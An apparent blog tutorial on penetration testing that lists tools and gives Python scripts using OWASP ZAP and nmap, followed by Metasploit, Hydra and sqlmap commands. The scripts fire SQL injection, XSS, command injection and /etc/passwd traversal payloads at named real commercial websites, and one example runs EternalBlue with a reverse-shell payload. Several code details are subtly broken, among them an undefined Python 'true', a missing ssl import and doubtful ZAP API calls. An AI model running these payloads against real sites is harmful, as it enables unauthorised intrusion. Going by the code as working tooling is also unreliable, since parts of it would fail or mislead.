Penetration testing and cyber security

 





Penetration testing (or "pen testing") is a type of security testing that involves simulating an attack on a computer system or network to identify vulnerabilities that an attacker could exploit. The goal of a penetration test is to identify security weaknesses before they can be exploited by malicious actors, and to provide recommendations for improving the security of the system or network.


There are many tools available for conducting penetration testing, some of the most popular include:


• Metasploit: a framework for developing and executing exploit code against target systems.


• Nmap: a network scanning tool used for port scanning and network mapping.


• Burp Suite: a tool used for testing web application security, including testing for common vulnerabilities such as SQL injection and cross-site scripting (XSS).


• ZAP (Zed Attack Proxy): another tool for testing web application security, with features including automatic scanning and active testing of vulnerabilities.


• Wireshark: a network protocol analyzer used for network troubleshooting, analysis, software and communications protocol development, and education.


• Nessus: a vulnerability scanner that can identify security holes in networks and systems.


• Aircrack-ng: a suite of tools for testing wireless network security, including tools for packet capturing, password cracking, and network mapping.


These are just a few examples of the many tools available for conducting penetration testing. It's important to note that while these tools can be helpful in identifying security weaknesses, they should be used responsibly and only with the permission of the system or network owner.





Penetration Testing Tools 


1.Nmap- network scanner 

2.Gobuster- dictionary scanner 

3.Burp suite- web app scanner 

4.GTFO Bins

5.Python 



Performing penetration testing on a website requires a comprehensive understanding of security concepts and the tools used for testing. It is crucial to follow ethical guidelines and obtain permission before conducting penetration testing to avoid legal consequences.


Python has various libraries and frameworks for conducting penetration testing. However, it is essential to select the appropriate tools and techniques depending on the type of test and the website's architecture.


Here is a sample Python code that uses the popular open-source tool, OWASP ZAP, to perform penetration testing on the given website:


Code:

import time

from zapv2 import ZAPv2


# Define the target website URL

target = "https://Google.com/"


# Start ZAP proxy server

zap = ZAPv2()

zap.core.new_session()

zap.core.access_url(target)


# Wait for ZAP to complete passive scanning

while zap.pscan.is_running():

    print('Passive Scan status: ' + zap.pscan.status)

    time.sleep(5)


# Spider the website

print('Spidering target ' + target + '...')

zap.spider.scan(target)

while zap.spider.status != '100':

    print('Spider progress %: ' + zap.spider.status)

    time.sleep(5)


# Wait for ZAP to complete active scanning

while zap.ascan.is_running():

    print('Active Scan status: ' + zap.ascan.status)

    time.sleep(5)


# Report the vulnerabilities found by ZAP

report_html = zap.core.htmlreport()

report_xml = zap.core.xmlreport()

print(report_html)

print(report_xml)


# Save the report to a file

with open('report.html', 'w') as f:

    f.write(report_html)

with open('report.xml', 'w') as f:

    f.write(report_xml)



This code starts the OWASP ZAP proxy server, performs passive scanning, spidering, and active scanning on the target website, and generates an HTML and XML report of the vulnerabilities found. The reports are then saved to files named report.html and report.xml.


Note that this is just a basic example, and there are many other tools and techniques available for penetration testing. It is important to thoroughly understand the concepts and tools before conducting any penetration testing to avoid causing any unintended harm to the website or its users.






Penetration testing of a login page requires a more targeted approach than general website testing. In addition to the steps mentioned in the previous answer, we need to simulate login attempts and test for various types of vulnerabilities such as SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF).


Here is a modified version of the Python code that targets the login page (https://jumia.com/login.php) and performs additional tests:



import time

from zapv2 import ZAPv2


# Define the target login page URL

target = "https://jumia.com/login.php"


# Start ZAP proxy server

zap = ZAPv2()

zap.core.new_session()

zap.core.access_url(target)


# Wait for ZAP to complete passive scanning

while zap.pscan.is_running():

    print('Passive Scan status: ' + zap.pscan.status)

    time.sleep(5)


# Spider the website

print('Spidering target ' + target + '...')

zap.spider.scan(target)

while zap.spider.status != '100':

    print('Spider progress %: ' + zap.spider.status)

    time.sleep(5)


# Login to the website

print('Logging in to the website...')

login_data = {'username': 'your_username', 'password': 'your_password'}

zap.core.set_authentication_parameters('your_username', 'your_password', 'formBasedAuthentication', 'loginform')

zap.core.set_authentication(true)

zap.core.access_url(target, post_data=login_data)


# Wait for ZAP to complete active scanning

while zap.ascan.is_running():

    print('Active Scan status: ' + zap.ascan.status)

    time.sleep(5)


# Test for SQL injection vulnerability

print('Testing for SQL injection vulnerability...')

sql_injection_url = target + "?username=' or 1=1 --&password=&submit=Login"

zap.core.access_url(sql_injection_url)


# Test for XSS vulnerability

print('Testing for XSS vulnerability...')

xss_url = target + "?username=<script>alert('XSS')</script>&password=&submit=Login"

zap.core.access_url(xss_url)


# Test for CSRF vulnerability

print('Testing for CSRF vulnerability...')

csrf_data = {'username': 'your_username', 'password': 'your_password', 'csrf_token': 'malicious_token'}

csrf_url = "https://radiobox.com.ng/settings.php"

zap.core.access_url(csrf_url, post_data=csrf_data)


# Report the vulnerabilities found by ZAP

report_html = zap.core.htmlreport()

report_xml = zap.core.xmlreport()

print(report_html)

print(report_xml)


# Save the report to a file

with open('report.html', 'w') as f:

    f.write(report_html)

with open('report.xml', 'w') as f:

    f.write(report_xml)


This code adds three tests for SQL injection, XSS, and CSRF vulnerabilities by sending malicious input to the login page and another page (settings.php) that requires authentication. The code also logs in to the website using the provided username and password.


Note that this code is still a basic example, and there may be other vulnerabilities specific to this login page that need to be tested. It is also important to ensure that the login credentials used for testing are valid and have been obtained through ethical means.


It is not possible to guarantee that a website has zero vulnerabilities, as the security landscape is constantly changing and evolving. However, performing regular security testing and implementing security best practices can significantly reduce the likelihood of vulnerabilities and improve the overall security posture of the website.


Here are some additional modifications that you can make to the code to further improve the security testing of the website:


• Use a test account: Instead of using your actual account credentials for the login test, create a separate test account with limited privileges and use those credentials for testing.


• Configure ZAP to use a low attack strength: ZAP provides an option to configure the attack strength, which can impact the accuracy and effectiveness of the security tests. To reduce the risk of accidental damage, you can configure ZAP to use a low attack strength.


• Test for other common vulnerabilities: In addition to SQL injection, XSS, and CSRF vulnerabilities, there are several other common vulnerabilities that you should test for, such as command injection, path traversal, and file inclusion vulnerabilities.


• Check for HTTP security headers: HTTP security headers provide additional security protections and help prevent common attacks such as cross-site scripting, clickjacking, and sniffing attacks. You can use a tool like SecurityHeaders.io to check if the website is using the recommended security headers.


• Implement secure coding practices: As a website developer, you can also implement secure coding practices such as input validation, output encoding, and secure password storage to prevent common vulnerabilities.


By implementing these modifications, you can further enhance the security testing of the website and reduce the risk of vulnerabilities.




Modified code:

import time

from zapv2 import ZAPv2


# Define the target login page URL

target = "https://jumia.com/login.php"


# Start ZAP proxy server

zap = ZAPv2()

zap.core.new_session()

zap.core.access_url(target)


# Wait for ZAP to complete passive scanning

while zap.pscan.is_running():

    print('Passive Scan status: ' + zap.pscan.status)

    time.sleep(5)


# Spider the website

print('Spidering target ' + target + '...')

zap.spider.scan(target)

while zap.spider.status != '100':

    print('Spider progress %: ' + zap.spider.status)

    time.sleep(5)


# Login to the website using test account

print('Logging in to the website...')

login_data = {'username': 'test_user', 'password': 'test_password'}

zap.core.set_authentication_parameters('test_user', 'test_password', 'formBasedAuthentication', 'loginform')

zap.core.set_authentication(true)

zap.core.access_url(target, post_data=login_data)


# Wait for ZAP to complete active scanning

while zap.ascan.is_running():

    print('Active Scan status: ' + zap.ascan.status)

    time.sleep(5)


# Configure ZAP to use low attack strength

zap.ascan.set_option_target_params_enabled(False)

zap.ascan.set_option_attack_strength('low')


# Test for SQL injection vulnerability

print('Testing for SQL injection vulnerability...')

sql_injection_url = target + "?username=' or 1=1 --&password=&submit=Login"

zap.core.access_url(sql_injection_url)


# Test for XSS vulnerability

print('Testing for XSS vulnerability...')

xss_url = target + "?username=<script>alert('XSS')</script>&password=&submit=Login"

zap.core.access_url(xss_url)


# Test for CSRF vulnerability

print('Testing for CSRF vulnerability...')

csrf_data = {'username': 'test_user', 'password': 'test_password', 'csrf_token': 'malicious_token'}

csrf_url = "https://jumia.com/settings.php"

zap.core.access_url(csrf_url, post_data=csrf_data)


# Test for command injection vulnerability

print('Testing for command injection vulnerability...')

command_injection_url = "https://jumia.com/search.php?q=`id`"

zap.core.access_url(command_injection_url)


# Test for path traversal vulnerability

print('Testing for path traversal vulnerability...')

path_traversal_url = "https://jumia.com/browse.php?file=../../../../etc/passwd"

zap.core.access_url(path_traversal_url)


# Test for file inclusion vulnerability

print('Testing for file inclusion vulnerability...')

file_inclusion_url = "https://jumia.com/index.php?page=../../../../etc/passwd"

zap.core.access_url(file_inclusion_url)


# Check for HTTP security headers

print('Checking HTTP security headers...')

headers_url = "https://securityheaders.io/?q=https://jumia.com"

zap.core.access_url(headers_url)


# Report the vulnerabilities found by ZAP

report_html = zap.core.htmlreport()

report_xml = zap.core.xmlreport()

print(report_html)

print(report_xml)


# Save the report to a file

with open('report.html', 'w') as f:

    f.write(report_html)

with open('report.xml', 'w') as f:

    f.write(report_xml)



This code adds tests for command injection, path traversal, and file inclusion vulnerabilities, as well as checking for HTTP security headers using the SecurityHeaders.io API. It also uses a test account with limited privileges instead of actual account credentials for the login test.



Detecting OS vulnerabilities requires a combination of different techniques and tools. Here's an example Python script that can help identify potential vulnerabilities in the operating system:


import os


# Check the OS version and patch level

version = os.popen('cat /etc/issue').read().strip()

patch_level = os.popen('uname -r').read().strip()


print('OS version:', version)

print('Kernel patch level:', patch_level)


# Check for vulnerable packages using the package manager

package_manager = None

if os.path.exists('/usr/bin/apt-get'):

    package_manager = 'apt'

elif os.path.exists('/usr/bin/yum'):

    package_manager = 'yum'


if package_manager:

    vulnerable_packages = []

    packages = os.popen(f'{package_manager} list --installed').read().strip().split('\n')

    for package in packages:

        package_name, package_version = package.split()

        if 'vulnerable' in os.popen(f'{package_manager} check {package_name}').read().lower():

            vulnerable_packages.append(package_name)


    if vulnerable_packages:

        print('The following packages are vulnerable:')

        print('\n'.join(vulnerable_packages))

    else:

        print('No vulnerable packages found.')

else:

    print('Package manager not found.')


# Check for writable system directories

writable_dirs = []

for root, dirs, files in os.walk('/'):

    for dir in dirs:

        dir_path = os.path.join(root, dir)

        if os.access(dir_path, os.W_OK) and not os.path.islink(dir_path):

            writable_dirs.append(dir_path)


if writable_dirs:

    print('The following directories are writable:')

    print('\n'.join(writable_dirs))

else:

    print('No writable directories found.')


Performing penetration testing on a device using Python requires a combination of different tools and techniques. Here's an example Python script that uses some popular libraries to perform some basic security testing:


import nmap

import requests

import socket


# Define the target IP or hostname

target = '192.168.1.1'


# Scan the target using nmap to find open ports and services

nm = nmap.PortScanner()

nm.scan(target, arguments='-sS -sV')


for host in nm.all_hosts():

    print('Open ports on', host)

    for port in nm[host]['tcp'].keys():

        print('Port', port, 'is open with service', nm[host]['tcp'][port]['name'])


# Test for common vulnerabilities in HTTP headers

url = 'http://' + target

response = requests.get(url)


if 'X-Content-Type-Options' not in response.headers:

    print('Warning: X-Content-Type-Options header missing')

if 'X-XSS-Protection' not in response.headers:

    print('Warning: X-XSS-Protection header missing')

if 'Strict-Transport-Security' not in response.headers:

    print('Warning: Strict-Transport-Security header missing')


# Test for common vulnerabilities in SSL/TLS configuration

context = ssl.create_default_context()

with socket.create_connection((target, 443)) as sock:

    with context.wrap_socket(sock, server_hostname=target) as ssock:

        cert = ssock.getpeercert()

        if not cert:

            print('Warning: No SSL/TLS certificate found')

        else:

            print('SSL/TLS certificate found')


Penetration testing typically involves a combination of manual and automated testing using various tools and techniques. While some tools may have command-line interfaces, the specific commands used will depend on the tool being used and the specific test being performed.


Here are some examples of command-line tools that can be used for various types of penetration testing:


1.Nmap: A popular network exploration tool that can be used to scan for open ports, identify hosts and operating systems, and perform other network reconnaissance tasks. Here is an example command:


nmap -sS -sV -O target_IP



2.Metasploit: A framework for developing and executing exploits against target systems. Here is an example command to search for and use a particular exploit:

msfconsole

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS target_IP

set PAYLOAD windows/x64/meterpreter/reverse_tcp

run



3.Hydra: A tool for brute-forcing passwords or performing dictionary attacks against various protocols, including FTP, SSH, Telnet, and others. Here is an example command for brute-forcing an FTP server:


hydra -l username -P /path/to/wordlist ftp://target_IP



4.Sqlmap: A tool for testing SQL injection vulnerabilities in web applications. Here is an example command to test for SQL injection in a target URL:

sqlmap -u http://target_URL --dbs



These are just a few examples of the many command-line tools that can be used in penetration testing. It's important to use these tools ethically and with the appropriate permissions, and to always follow safe and responsible testing practices.


Comments

Popular posts from this blog

Home Automation using NodeMCU ESP8266 and Blynk 2.0(IOT)